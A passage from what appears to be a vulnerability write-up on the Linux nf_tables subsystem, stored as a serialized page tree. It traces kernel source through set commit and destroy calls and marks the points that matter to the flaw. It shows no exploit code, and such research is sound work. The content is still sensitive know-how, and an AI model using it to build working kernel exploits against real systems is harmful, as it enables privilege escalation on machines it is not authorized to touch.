list_del_rcu",{"type":24,"tag":90,"props":54340,"children":54341},{"style":114},[54342],{"type":29,"value":117},{"type":24,"tag":90,"props":54344,"children":54345},{"style":120},[54346],{"type":29,"value":123},{"type":24,"tag":90,"props":54348,"children":54349},{"style":108},[54350],{"type":29,"value":54351},"nft_trans_set",{"type":24,"tag":90,"props":54353,"children":54354},{"style":114},[54355],{"type":29,"value":54308},{"type":24,"tag":90,"props":54357,"children":54358},{"style":136},[54359],{"type":29,"value":54360},"list",{"type":24,"tag":90,"props":54362,"children":54363},{"style":114},[54364],{"type":29,"value":571},{"type":24,"tag":90,"props":54366,"children":54367},{"class":92,"line":384},[54368,54373,54377,54381,54386,54390,54394,54398,54402],{"type":24,"tag":90,"props":54369,"children":54370},{"style":108},[54371],{"type":29,"value":54372}," nf_tables_set_notify",{"type":24,"tag":90,"props":54374,"children":54375},{"style":114},[54376],{"type":29,"value":117},{"type":24,"tag":90,"props":54378,"children":54379},{"style":120},[54380],{"type":29,"value":123},{"type":24,"tag":90,"props":54382,"children":54383},{"style":136},[54384],{"type":29,"value":54385},"trans",{"type":24,"tag":90,"props":54387,"children":54388},{"style":114},[54389],{"type":29,"value":177},{"type":24,"tag":90,"props":54391,"children":54392},{"style":136},[54393],{"type":29,"value":22076},{"type":24,"tag":90,"props":54395,"children":54396},{"style":114},[54397],{"type":29,"value":133},{"type":24,"tag":90,"props":54399,"children":54400},{"style":108},[54401],{"type":29,"value":54351},{"type":24,"tag":90,"props":54403,"children":54404},{"style":114},[54405],{"type":29,"value":54406},"(trans),\n",{"type":24,"tag":90,"props":54408,"children":54409},{"class":92,"line":420},[54410,54415,54419,54424],{"type":24,"tag":90,"props":54411,"children":54412},{"style":136},[54413],{"type":29,"value":54414}," trans",{"type":24,"tag":90,"props":54416,"children":54417},{"style":114},[54418],{"type":29,"value":177},{"type":24,"tag":90,"props":54420,"children":54421},{"style":136},[54422],{"type":29,"value":54423},"msg_type",{"type":24,"tag":90,"props":54425,"children":54426},{"style":114},[54427],{"type":29,"value":54428},", GFP_KERNEL);\n",{"type":24,"tag":90,"props":54430,"children":54431},{"class":92,"line":428},[54432,54437],{"type":24,"tag":90,"props":54433,"children":54434},{"style":636},[54435],{"type":29,"value":54436}," break",{"type":24,"tag":90,"props":54438,"children":54439},{"style":114},[54440],{"type":29,"value":381},{"type":24,"tag":90,"props":54442,"children":54443},{"class":92,"line":437},[54444,54449],{"type":24,"tag":90,"props":54445,"children":54446},{"style":114},[54447],{"type":29,"value":54448}," case NFT_MSG_NEWSETELEM:",{"type":24,"tag":90,"props":54450,"children":54451},{"style":252},[54452],{"type":29,"value":54453}," // [3]\n",{"type":24,"tag":90,"props":54455,"children":54456},{"class":92,"line":574},[54457],{"type":24,"tag":90,"props":54458,"children":54459},{"style":114},[54460],{"type":29,"value":12686},{"type":24,"tag":90,"props":54462,"children":54463},{"class":92,"line":606},[54464,54469,54473,54478,54482,54486,54490,54495,54499,54504],{"type":24,"tag":90,"props":54465,"children":54466},{"style":636},[54467],{"type":29,"value":54468}," if",{"type":24,"tag":90,"props":54470,"children":54471},{"style":114},[54472],{"type":29,"value":1151},{"type":24,"tag":90,"props":54474,"children":54475},{"style":136},[54476],{"type":29,"value":54477},"te",{"type":24,"tag":90,"props":54479,"children":54480},{"style":114},[54481],{"type":29,"value":177},{"type":24,"tag":90,"props":54483,"children":54484},{"style":136},[54485],{"type":29,"value":52843},{"type":24,"tag":90,"props":54487,"children":54488},{"style":114},[54489],{"type":29,"value":177},{"type":24,"tag":90,"props":54491,"children":54492},{"style":136},[54493],{"type":29,"value":54494},"ops",{"type":24,"tag":90,"props":54496,"children":54497},{"style":114},[54498],{"type":29,"value":177},{"type":24,"tag":90,"props":54500,"children":54501},{"style":136},[54502],{"type":29,"value":54503},"commit",{"type":24,"tag":90,"props":54505,"children":54506},{"style":120},[54507],{"type":29,"value":54508}," &&\n",{"type":24,"tag":90,"props":54510,"children":54511},{"class":92,"line":615},[54512,54517,54521,54525,54529,54533,54537,54541,54546],{"type":24,"tag":90,"props":54513,"children":54514},{"style":108},[54515],{"type":29,"value":54516}," list_empty",{"type":24,"tag":90,"props":54518,"children":54519},{"style":114},[54520],{"type":29,"value":117},{"type":24,"tag":90,"props":54522,"children":54523},{"style":120},[54524],{"type":29,"value":123},{"type":24,"tag":90,"props":54526,"children":54527},{"style":136},[54528],{"type":29,"value":54477},{"type":24,"tag":90,"props":54530,"children":54531},{"style":114},[54532],{"type":29,"value":177},{"type":24,"tag":90,"props":54534,"children":54535},{"style":136},[54536],{"type":29,"value":52843},{"type":24,"tag":90,"props":54538,"children":54539},{"style":114},[54540],{"type":29,"value":177},{"type":24,"tag":90,"props":54542,"children":54543},{"style":136},[54544],{"type":29,"value":54545},"pending_update",{"type":24,"tag":90,"props":54547,"children":54548},{"style":114},[54549],{"type":29,"value":37009},{"type":24,"tag":90,"props":54551,"children":54552},{"class":92,"line":623},[54553,54558,54562,54566,54570,54574,54578,54582,54586],{"type":24,"tag":90,"props":54554,"children":54555},{"style":108},[54556],{"type":29,"value":54557}," list_add_tail",{"type":24,"tag":90,"props":54559,"children":54560},{"style":114},[54561],{"type":29,"value":117},{"type":24,"tag":90,"props":54563,"children":54564},{"style":120},[54565],{"type":29,"value":123},{"type":24,"tag":90,"props":54567,"children":54568},{"style":136},[54569],{"type":29,"value":54477},{"type":24,"tag":90,"props":54571,"children":54572},{"style":114},[54573],{"type":29,"value":177},{"type":24,"tag":90,"props":54575,"children":54576},{"style":136},[54577],{"type":29,"value":52843},{"type":24,"tag":90,"props":54579,"children":54580},{"style":114},[54581],{"type":29,"value":177},{"type":24,"tag":90,"props":54583,"children":54584},{"style":136},[54585],{"type":29,"value":54545},{"type":24,"tag":90,"props":54587,"children":54588},{"style":114},[54589],{"type":29,"value":748},{"type":24,"tag":90,"props":54591,"children":54592},{"class":92,"line":632},[54593,54598],{"type":24,"tag":90,"props":54594,"children":54595},{"style":120},[54596],{"type":29,"value":54597}," &",{"type":24,"tag":90,"props":54599,"children":54600},{"style":114},[54601],{"type":29,"value":54602},"set_update_list);\n",{"type":24,"tag":90,"props":54604,"children":54605},{"class":92,"line":669},[54606],{"type":24,"tag":90,"props":54607,"children":54608},{"style":114},[54609],{"type":29,"value":36563},{"type":24,"tag":90,"props":54611,"children":54612},{"class":92,"line":683},[54613],{"type":24,"tag":90,"props":54614,"children":54615},{"style":114},[54616],{"type":29,"value":12686},{"type":24,"tag":90,"props":54618,"children":54619},{"class":92,"line":737},[54620],{"type":24,"tag":90,"props":54621,"children":54622},{"style":114},[54623],{"type":29,"value":11967},{"type":24,"tag":90,"props":54625,"children":54626},{"class":92,"line":751},[54627],{"type":24,"tag":90,"props":54628,"children":54629},{"emptyLinePlaceholder":16},[54630],{"type":29,"value":245},{"type":24,"tag":90,"props":54632,"children":54633},{"class":92,"line":782},[54634,54639,54643,54647,54652],{"type":24,"tag":90,"props":54635,"children":54636},{"style":108},[54637],{"type":29,"value":54638}," nft_set_commit_update",{"type":24,"tag":90,"props":54640,"children":54641},{"style":114},[54642],{"type":29,"value":117},{"type":24,"tag":90,"props":54644,"children":54645},{"style":120},[54646],{"type":29,"value":123},{"type":24,"tag":90,"props":54648,"children":54649},{"style":136},[54650],{"type":29,"value":54651},"set_update_list",{"type":24,"tag":90,"props":54653,"children":54654},{"style":114},[54655],{"type":29,"value":571},{"type":24,"tag":90,"props":54657,"children":54658},{"class":92,"line":791},[54659],{"type":24,"tag":90,"props":54660,"children":54661},{"style":114},[54662],{"type":29,"value":12686},{"type":24,"tag":90,"props":54664,"children":54665},{"class":92,"line":799},[54666,54671],{"type":24,"tag":90,"props":54667,"children":54668},{"style":108},[54669],{"type":29,"value":54670}," nf_tables_commit_release",{"type":24,"tag":90,"props":54672,"children":54673},{"style":114},[54674],{"type":29,"value":54675},"(net);\n",{"type":24,"tag":90,"props":54677,"children":54678},{"class":92,"line":807},[54679],{"type":24,"tag":90,"props":54680,"children":54681},{"emptyLinePlaceholder":16},[54682],{"type":29,"value":245},{"type":24,"tag":90,"props":54684,"children":54685},{"class":92,"line":821},[54686,54691,54695],{"type":24,"tag":90,"props":54687,"children":54688},{"style":636},[54689],{"type":29,"value":54690}," return",{"type":24,"tag":90,"props":54692,"children":54693},{"style":349},[54694],{"type":29,"value":5448},{"type":24,"tag":90,"props":54696,"children":54697},{"style":114},[54698],{"type":29,"value":381},{"type":24,"tag":90,"props":54700,"children":54701},{"class":92,"line":6278},[54702],{"type":24,"tag":90,"props":54703,"children":54704},{"style":114},[54705],{"type":29,"value":827},{"type":24,"tag":25,"props":54707,"children":54708},{},[54709,54710,54716,54718,54723],{"type":29,"value":3131},{"type":24,"tag":32,"props":54711,"children":54713},{"className":54712},[],[54714],{"type":29,"value":54715},"nft_set_commit_update()",{"type":29,"value":54717}," function in the code above will call the ",{"type":24,"tag":32,"props":54719,"children":54721},{"className":54720},[],[54722],{"type":29,"value":54169},{"type":29,"value":54724}," method for any objects that were marked as pending an update.",{"type":24,"tag":80,"props":54726,"children":54728},{"className":3028,"code":54727,"language":3030,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n list_del_init(&set->pending_update);\n\n if (!set->ops->commit || set->dead) // [4]\n continue;\n\n set->ops->commit(set); // [5]\n }\n}\n",[54729],{"type":24,"tag":32,"props":54730,"children":54731},{"__ignoreMap":7},[54732,54772,54779,54808,54815,54828,54860,54867,54928,54939,54946,54980,54987],{"type":24,"tag":90,"props":54733,"children":54734},{"class":92,"line":93},[54735,54739,54743,54747,54751,54755,54760,54764,54768],{"type":24,"tag":90,"props":54736,"children":54737},{"style":97},[54738],{"type":29,"value":52868},{"type":24,"tag":90,"props":54740,"children":54741},{"style":97},[54742],{"type":29,"value":52873},{"type":24,"tag":90,"props":54744,"children":54745},{"style":108},[54746],{"type":29,"value":54638},{"type":24,"tag":90,"props":54748,"children":54749},{"style":114},[54750],{"type":29,"value":117},{"type":24,"tag":90,"props":54752,"children":54753},{"style":97},[54754],{"type":29,"value":3050},{"type":24,"tag":90,"props":54756,"children":54757},{"style":114},[54758],{"type":29,"value":54759}," list_head ",{"type":24,"tag":90,"props":54761,"children":54762},{"style":120},[54763],{"type":29,"value":983},{"type":24,"tag":90,"props":54765,"children":54766},{"style":136},[54767],{"type":29,"value":54651},{"type":24,"tag":90,"props":54769,"children":54770},{"style":114},[54771],{"type":29,"value":1686},{"type":24,"tag":90,"props":54773,"children":54774},{"class":92,"line":200},[54775],{"type":24,"tag":90,"props":54776,"children":54777},{"style":114},[54778],{"type":29,"value":2221},{"type":24,"tag":90,"props":54780,"children":54781},{"class":92,"line":239},[54782,54786,54790,54794,54799,54803],{"type":24,"tag":90,"props":54783,"children":54784},{"style":97},[54785],{"type":29,"value":22947},{"type":24,"tag":90,"props":54787,"children":54788},{"style":114},[54789],{"type":29,"value":52923},{"type":24,"tag":90,"props":54791,"children":54792},{"style":120},[54793],{"type":29,"value":983},{"type":24,"tag":90,"props":54795,"children":54796},{"style":114},[54797],{"type":29,"value":54798},"set, ",{"type":24,"tag":90,"props":54800,"children":54801},{"style":120},[54802],{"type":29,"value":983},{"type":24,"tag":90,"props":54804,"children":54805},{"style":114},[54806],{"type":29,"value":54807},"next;\n",{"type":24,"tag":90,"props":54809,"children":54810},{"class":92,"line":248},[54811],{"type":24,"tag":90,"props":54812,"children":54813},{"emptyLinePlaceholder":16},[54814],{"type":29,"value":245},{"type":24,"tag":90,"props":54816,"children":54817},{"class":92,"line":258},[54818,54823],{"type":24,"tag":90,"props":54819,"children":54820},{"style":108},[54821],{"type":29,"value":54822}," list_for_each_entry_safe",{"type":24,"tag":90,"props":54824,"children":54825},{"style":114},[54826],{"type":29,"value":54827},"(set, next, set_update_list, pending_update) {\n",{"type":24,"tag":90,"props":54829,"children":54830},{"class":92,"line":272},[54831,54836,54840,54844,54848,54852,54856],{"type":24,"tag":90,"props":54832,"children":54833},{"style":108},[54834],{"type":29,"value":54835}," list_del_init",{"type":24,"tag":90,"props":54837,"children":54838},{"style":114},[54839],{"type":29,"value":117},{"type":24,"tag":90,"props":54841,"children":54842},{"style":120},[54843],{"type":29,"value":123},{"type":24,"tag":90,"props":54845,"children":54846},{"style":136},[54847],{"type":29,"value":52843},{"type":24,"tag":90,"props":54849,"children":54850},{"style":114},[54851],{"type":29,"value":177},{"type":24,"tag":90,"props":54853,"children":54854},{"style":136},[54855],{"type":29,"value":54545},{"type":24,"tag":90,"props":54857,"children":54858},{"style":114},[54859],{"type":29,"value":571},{"type":24,"tag":90,"props":54861,"children":54862},{"class":92,"line":281},[54863],{"type":24,"tag":90,"props":54864,"children":54865},{"emptyLinePlaceholder":16},[54866],{"type":29,"value":245},{"type":24,"tag":90,"props":54868,"children":54869},{"class":92,"line":384},[54870,54874,54878,54882,54886,54890,54894,54898,54902,54906,54911,54915,54919,54923],{"type":24,"tag":90,"props":54871,"children":54872},{"style":636},[54873],{"type":29,"value":33207},{"type":24,"tag":90,"props":54875,"children":54876},{"style":114},[54877],{"type":29,"value":1151},{"type":24,"tag":90,"props":54879,"children":54880},{"style":120},[54881],{"type":29,"value":22417},{"type":24,"tag":90,"props":54883,"children":54884},{"style":136},[54885],{"type":29,"value":52843},{"type":24,"tag":90,"props":54887,"children":54888},{"style":114},[54889],{"type":29,"value":177},{"type":24,"tag":90,"props":54891,"children":54892},{"style":136},[54893],{"type":29,"value":54494},{"type":24,"tag":90,"props":54895,"children":54896},{"style":114},[54897],{"type":29,"value":177},{"type":24,"tag":90,"props":54899,"children":54900},{"style":136},[54901],{"type":29,"value":54503},{"type":24,"tag":90,"props":54903,"children":54904},{"style":120},[54905],{"type":29,"value":25505},{"type":24,"tag":90,"props":54907,"children":54908},{"style":136},[54909],{"type":29,"value":54910}," set",{"type":24,"tag":90,"props":54912,"children":54913},{"style":114},[54914],{"type":29,"value":177},{"type":24,"tag":90,"props":54916,"children":54917},{"style":136},[54918],{"type":29,"value":54313},{"type":24,"tag":90,"props":54920,"children":54921},{"style":114},[54922],{"type":29,"value":517},{"type":24,"tag":90,"props":54924,"children":54925},{"style":252},[54926],{"type":29,"value":54927}," // [4]\n",{"type":24,"tag":90,"props":54929,"children":54930},{"class":92,"line":420},[54931,54935],{"type":24,"tag":90,"props":54932,"children":54933},{"style":636},[54934],{"type":29,"value":53315},{"type":24,"tag":90,"props":54936,"children":54937},{"style":114},[54938],{"type":29,"value":381},{"type":24,"tag":90,"props":54940,"children":54941},{"class":92,"line":428},[54942],{"type":24,"tag":90,"props":54943,"children":54944},{"emptyLinePlaceholder":16},[54945],{"type":29,"value":245},{"type":24,"tag":90,"props":54947,"children":54948},{"class":92,"line":437},[54949,54954,54958,54962,54966,54970,54975],{"type":24,"tag":90,"props":54950,"children":54951},{"style":136},[54952],{"type":29,"value":54953}," set",{"type":24,"tag":90,"props":54955,"children":54956},{"style":114},[54957],{"type":29,"value":177},{"type":24,"tag":90,"props":54959,"children":54960},{"style":136},[54961],{"type":29,"value":54494},{"type":24,"tag":90,"props":54963,"children":54964},{"style":114},[54965],{"type":29,"value":177},{"type":24,"tag":90,"props":54967,"children":54968},{"style":108},[54969],{"type":29,"value":54503},{"type":24,"tag":90,"props":54971,"children":54972},{"style":114},[54973],{"type":29,"value":54974},"(set);",{"type":24,"tag":90,"props":54976,"children":54977},{"style":252},[54978],{"type":29,"value":54979}," // [5]\n",{"type":24,"tag":90,"props":54981,"children":54982},{"class":92,"line":574},[54983],{"type":24,"tag":90,"props":54984,"children":54985},{"style":114},[54986],{"type":29,"value":11967},{"type":24,"tag":90,"props":54988,"children":54989},{"class":92,"line":606},[54990],{"type":24,"tag":90,"props":54991,"children":54992},{"style":114},[54993],{"type":29,"value":827},{"type":24,"tag":25,"props":54995,"children":54996},{},[54997,54999,55005,55007,55012,55013,55018],{"type":29,"value":54998},"Later on, the ",{"type":24,"tag":32,"props":55000,"children":55002},{"className":55001},[],[55003],{"type":29,"value":55004},"nf_tables_commit_release()",{"type":29,"value":55006}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":24,"tag":32,"props":55008,"children":55010},{"className":55009},[],[55011],{"type":29,"value":52843},{"type":29,"value":54163},{"type":24,"tag":32,"props":55014,"children":55016},{"className":55015},[],[55017],{"type":29,"value":54177},{"type":29,"value":55019}," method.",{"type":24,"tag":80,"props":55021,"children":55023},{"className":3028,"code":55022,"language":3030,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n nft_trans_list_del(trans);\n nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[55024],{"type":24,"tag":32,"props":55025,"children":55026},{"__ignoreMap":7},[55027,55066,55073,55080,55101,55108,55115,55122,55163,55170,55177,55198,55211,55223,55230,55237,55244,55285,55292,55320,55327,55340,55352,55393,55400,55407,55414,55472,55479,55486,55515,55522],{"type":24,"tag":90,"props":55028,"children":55029},{"class":92,"line":93},[55030,55034,55038,55042,55046,55050,55054,55058,55062],{"type":24,"tag":90,"props":55031,"children":55032},{"style":97},[55033],{"type":29,"value":52868},{"type":24,"tag":90,"props":55035,"children":55036},{"style":97},[55037],{"type":29,"value":52873},{"type":24,"tag":90,"props":55039,"children":55040},{"style":108},[55041],{"type":29,"value":54670},{"type":24,"tag":90,"props":55043,"children":55044},{"style":114},[55045],{"type":29,"value":117},{"type":24,"tag":90,"props":55047,"children":55048},{"style":97},[55049],{"type":29,"value":3050},{"type":24,"tag":90,"props":55051,"children":55052},{"style":114},[55053],{"type":29,"value":53826},{"type":24,"tag":90,"props":55055,"children":55056},{"style":120},[55057],{"type":29,"value":983},{"type":24,"tag":90,"props":55059,"children":55060},{"style":136},[55061],{"type":29,"value":53835},{"type":24,"tag":90,"props":55063,"children":55064},{"style":114},[55065],{"type":29,"value":1686},{"type":24,"tag":90,"props":55067,"children":55068},{"class":92,"line":200},[55069],{"type":24,"tag":90,"props":55070,"children":55071},{"style":114},[55072],{"type":29,"value":2221},{"type":24,"tag":90,"props":55074,"children":55075},{"class":92,"line":239},[55076],{"type":24,"tag":90,"props":55077,"children":55078},{"style":114},[55079],{"type":29,"value":12686},{"type":24,"tag":90,"props":55081,"children":55082},{"class":92,"line":248},[55083,55088,55092,55096],{"type":24,"tag":90,"props":55084,"children":55085},{"style":108},[55086],{"type":29,"value":55087}," schedule_work",{"type":24,"tag":90,"props":55089,"children":55090},{"style":114},[55091],{"type":29,"value":117},{"type":24,"tag":90,"props":55093,"children":55094},{"style":120},[55095],{"type":29,"value":123},{"type":24,"tag":90,"props":55097,"children":55098},{"style":114},[55099],{"type":29,"value":55100},"trans_destroy_work);\n",{"type":24,"tag":90,"props":55102,"children":55103},{"class":92,"line":258},[55104],{"type":24,"tag":90,"props":55105,"children":55106},{"style":114},[55107],{"type":29,"value":12686},{"type":24,"tag":90,"props":55109,"children":55110},{"class":92,"line":272},[55111],{"type":24,"tag":90,"props":55112,"children":55113},{"style":114},[55114],{"type":29,"value":827},{"type":24,"tag":90,"props":55116,"children":55117},{"class":92,"line":281},[55118],{"type":24,"tag":90,"props":55119,"children":55120},{"style":114},[55121],{"type":29,"value":12686},{"type":24,"tag":90,"props":55123,"children":55124},{"class":92,"line":384},[55125,55129,55133,55138,55142,55146,55151,55155,55159],{"type":24,"tag":90,"props":55126,"children":55127},{"style":97},[55128],{"type":29,"value":52868},{"type":24,"tag":90,"props":55130,"children":55131},{"style":97},[55132],{"type":29,"value":52873},{"type":24,"tag":90,"props":55134,"children":55135},{"style":108},[55136],{"type":29,"value":55137}," nf_tables_trans_destroy_work",{"type":24,"tag":90,"props":55139,"children":55140},{"style":114},[55141],{"type":29,"value":117},{"type":24,"tag":90,"props":55143,"children":55144},{"style":97},[55145],{"type":29,"value":3050},{"type":24,"tag":90,"props":55147,"children":55148},{"style":114},[55149],{"type":29,"value":55150}," work_struct ",{"type":24,"tag":90,"props":55152,"children":55153},{"style":120},[55154],{"type":29,"value":983},{"type":24,"tag":90,"props":55156,"children":55157},{"style":136},[55158],{"type":29,"value":51395},{"type":24,"tag":90,"props":55160,"children":55161},{"style":114},[55162],{"type":29,"value":1686},{"type":24,"tag":90,"props":55164,"children":55165},{"class":92,"line":420},[55166],{"type":24,"tag":90,"props":55167,"children":55168},{"style":114},[55169],{"type":29,"value":2221},{"type":24,"tag":90,"props":55171,"children":55172},{"class":92,"line":428},[55173],{"type":24,"tag":90,"props":55174,"children":55175},{"style":114},[55176],{"type":29,"value":12686},{"type":24,"tag":90,"props":55178,"children":55179},{"class":92,"line":437},[55180,55184,55189,55193],{"type":24,"tag":90,"props":55181,"children":55182},{"style":108},[55183],{"type":29,"value":54822},{"type":24,"tag":90,"props":55185,"children":55186},{"style":114},[55187],{"type":29,"value":55188},"(trans, next, ",{"type":24,"tag":90,"props":55190,"children":55191},{"style":120},[55192],{"type":29,"value":123},{"type":24,"tag":90,"props":55194,"children":55195},{"style":114},[55196],{"type":29,"value":55197},"head, list) {\n",{"type":24,"tag":90,"props":55199,"children":55200},{"class":92,"line":574},[55201,55206],{"type":24,"tag":90,"props":55202,"children":55203},{"style":108},[55204],{"type":29,"value":55205}," nft_trans_list_del",{"type":24,"tag":90,"props":55207,"children":55208},{"style":114},[55209],{"type":29,"value":55210},"(trans);\n",{"type":24,"tag":90,"props":55212,"children":55213},{"class":92,"line":606},[55214,55219],{"type":24,"tag":90,"props":55215,"children":55216},{"style":108},[55217],{"type":29,"value":55218}," nft_commit_release",{"type":24,"tag":90,"props":55220,"children":55221},{"style":114},[55222],{"type":29,"value":55210},{"type":24,"tag":90,"props":55224,"children":55225},{"class":92,"line":615},[55226],{"type":24,"tag":90,"props":55227,"children":55228},{"style":114},[55229],{"type":29,"value":11967},{"type":24,"tag":90,"props":55231,"children":55232},{"class":92,"line":623},[55233],{"type":24,"tag":90,"props":55234,"children":55235},{"style":114},[55236],{"type":29,"value":827},{"type":24,"tag":90,"props":55238,"children":55239},{"class":92,"line":632},[55240],{"type":24,"tag":90,"props":55241,"children":55242},{"style":114},[55243],{"type":29,"value":12686},{"type":24,"tag":90,"props":55245,"children":55246},{"class":92,"line":669},[55247,55251,55255,55260,55264,55268,55273,55277,55281],{"type":24,"tag":90,"props":55248,"children":55249},{"style":97},[55250],{"type":29,"value":52868},{"type":24,"tag":90,"props":55252,"children":55253},{"style":97},[55254],{"type":29,"value":52873},{"type":24,"tag":90,"props":55256,"children":55257},{"style":108},[55258],{"type":29,"value":55259}," nft_commit_release",{"type":24,"tag":90,"props":55261,"children":55262},{"style":114},[55263],{"type":29,"value":117},{"type":24,"tag":90,"props":55265,"children":55266},{"style":97},[55267],{"type":29,"value":3050},{"type":24,"tag":90,"props":55269,"children":55270},{"style":114},[55271],{"type":29,"value":55272}," nft_trans ",{"type":24,"tag":90,"props":55274,"children":55275},{"style":120},[55276],{"type":29,"value":983},{"type":24,"tag":90,"props":55278,"children":55279},{"style":136},[55280],{"type":29,"value":54385},{"type":24,"tag":90,"props":55282,"children":55283},{"style":114},[55284],{"type":29,"value":1686},{"type":24,"tag":90,"props":55286,"children":55287},{"class":92,"line":683},[55288],{"type":24,"tag":90,"props":55289,"children":55290},{"style":114},[55291],{"type":29,"value":2221},{"type":24,"tag":90,"props":55293,"children":55294},{"class":92,"line":737},[55295,55300,55304,55308,55312,55316],{"type":24,"tag":90,"props":55296,"children":55297},{"style":636},[55298],{"type":29,"value":55299}," switch",{"type":24,"tag":90,"props":55301,"children":55302},{"style":114},[55303],{"type":29,"value":1151},{"type":24,"tag":90,"props":55305,"children":55306},{"style":136},[55307],{"type":29,"value":54385},{"type":24,"tag":90,"props":55309,"children":55310},{"style":114},[55311],{"type":29,"value":177},{"type":24,"tag":90,"props":55313,"children":55314},{"style":136},[55315],{"type":29,"value":54423},{"type":24,"tag":90,"props":55317,"children":55318},{"style":114},[55319],{"type":29,"value":1297},{"type":24,"tag":90,"props":55321,"children":55322},{"class":92,"line":751},[55323],{"type":24,"tag":90,"props":55324,"children":55325},{"style":114},[55326],{"type":29,"value":12686},{"type":24,"tag":90,"props":55328,"children":55329},{"class":92,"line":782},[55330,55335],{"type":24,"tag":90,"props":55331,"children":55332},{"style":636},[55333],{"type":29,"value":55334}," case",{"type":24,"tag":90,"props":55336,"children":55337},{"style":114},[55338],{"type":29,"value":55339}," NFT_MSG_DELSET:\n",{"type":24,"tag":90,"props":55341,"children":55342},{"class":92,"line":791},[55343,55347],{"type":24,"tag":90,"props":55344,"children":55345},{"style":636},[55346],{"type":29,"value":55334},{"type":24,"tag":90,"props":55348,"children":55349},{"style":114},[55350],{"type":29,"value":55351}," NFT_MSG_DESTROYSET:\n",{"type":24,"tag":90,"props":55353,"children":55354},{"class":92,"line":799},[55355,55360,55364,55368,55372,55376,55380,55384,55388],{"type":24,"tag":90,"props":55356,"children":55357},{"style":108},[55358],{"type":29,"value":55359}," nft_set_destroy",{"type":24,"tag":90,"props":55361,"children":55362},{"style":114},[55363],{"type":29,"value":117},{"type":24,"tag":90,"props":55365,"children":55366},{"style":120},[55367],{"type":29,"value":123},{"type":24,"tag":90,"props":55369,"children":55370},{"style":114},[55371],{"type":29,"value":54385},{"type":24,"tag":90,"props":55373,"children":55374},{"style":120},[55375],{"type":29,"value":177},{"type":24,"tag":90,"props":55377,"children":55378},{"style":136},[55379],{"type":29,"value":22076},{"type":24,"tag":90,"props":55381,"children":55382},{"style":114},[55383],{"type":29,"value":133},{"type":24,"tag":90,"props":55385,"children":55386},{"style":108},[55387],{"type":29,"value":54351},{"type":24,"tag":90,"props":55389,"children":55390},{"style":114},[55391],{"type":29,"value":55392},"(trans));\n",{"type":24,"tag":90,"props":55394,"children":55395},{"class":92,"line":807},[55396],{"type":24,"tag":90,"props":55397,"children":55398},{"style":114},[55399],{"type":29,"value":12686},{"type":24,"tag":90,"props":55401,"children":55402},{"class":92,"line":821},[55403],{"type":24,"tag":90,"props":55404,"children":55405},{"style":114},[55406],{"type":29,"value":827},{"type":24,"tag":90,"props":55408,"children":55409},{"class":92,"line":6278},[55410],{"type":24,"tag":90,"props":55411,"children":55412},{"style":114},[55413],{"type":29,"value":12686},{"type":24,"tag":90,"props":55415,"children":55416},{"class":92,"line":11420},[55417,55421,55425,55430,55434,55438,55442,55446,55450,55455,55459,55463,55467],{"type":24,"tag":90,"props":55418,"children":55419},{"style":97},[55420],{"type":29,"value":52868},{"type":24,"tag":90,"props":55422,"children":55423},{"style":97},[55424],{"type":29,"value":52873},{"type":24,"tag":90,"props":55426,"children":55427},{"style":108},[55428],{"type":29,"value":55429}," nft_set_destroy",{"type":24,"tag":90,"props":55431,"children":55432},{"style":114},[55433],{"type":29,"value":117},{"type":24,"tag":90,"props":55435,"children":55436},{"style":97},[55437],{"type":29,"value":508},{"type":24,"tag":90,"props":55439,"children":55440},{"style":97},[55441],{"type":29,"value":22947},{"type":24,"tag":90,"props":55443,"children":55444},{"style":114},[55445],{"type":29,"value":52895},{"type":24,"tag":90,"props":55447,"children":55448},{"style":120},[55449],{"type":29,"value":983},{"type":24,"tag":90,"props":55451,"children":55452},{"style":114},[55453],{"type":29,"value":55454},"ctx, ",{"type":24,"tag":90,"props":55456,"children":55457},{"style":97},[55458],{"type":29,"value":3050},{"type":24,"tag":90,"props":55460,"children":55461},{"style":114},[55462],{"type":29,"value":52923},{"type":24,"tag":90,"props":55464,"children":55465},{"style":120},[55466],{"type":29,"value":983},{"type":24,"tag":90,"props":55468,"children":55469},{"style":114},[55470],{"type":29,"value":55471},"set)\n",{"type":24,"tag":90,"props":55473,"children":55474},{"class":92,"line":11438},[55475],{"type":24,"tag":90,"props":55476,"children":55477},{"style":114},[55478],{"type":29,"value":2221},{"type":24,"tag":90,"props":55480,"children":55481},{"class":92,"line":11483},[55482],{"type":24,"tag":90,"props":55483,"children":55484},{"style":114},[55485],{"type":29,"value":12686},{"type":24,"tag":90,"props":55487,"children":55488},{"class":92,"line":11589},[55489,55493,55497,55501,55505,55510],{"type":24,"tag":90,"props":55490,"children":55491},{"style":136},[55492],{"type":29,"value":54910},{"type":24,"tag":90,"props":55494,"children":55495},{"style":114},[55496],{"type":29,"value":177},{"type":24,"tag":90,"props":55498,"children":55499},{"style":136},[55500],{"type":29,"value":54494},{"type":24,"tag":90,"props":55502,"children":55503},{"style":114},[55504],{"type":29,"value":177},{"type":24,"tag":90,"props":55506,"children":55507},{"style":108},[55508],{"type":29,"value":55509},"destroy",{"type":24,"tag":90,"props":55511,"children":55512},{"style":114},[55513],{"type":29,"value":55514},"(ctx, set);\n",{"type":24,"tag":90,"props":55516,"children":55517},{"class":92,"line":25306},[55518],{"type":24,"tag":90,"props":55519,"children":55520},{"style":114},[55521],{"type":29,"value":12686},{"type":24,"tag":90,"props":55523,"children":55524},{"class":92,"line":25341},[55525],{"type":24,"tag":90,"props":55526,"children":55527},{"style":114},[55528],{"type":29,"value":827},{"type":24,"tag":25,"props":55530,"children":55531},{},[55532,55534,55539,55541,55546,55548,55554,55556,55561,55563,55568,55570,55574,55576,55581,55582,55586,55588,55594],{"type":29,"value":55533},"It may appear as if it would be impossible to make 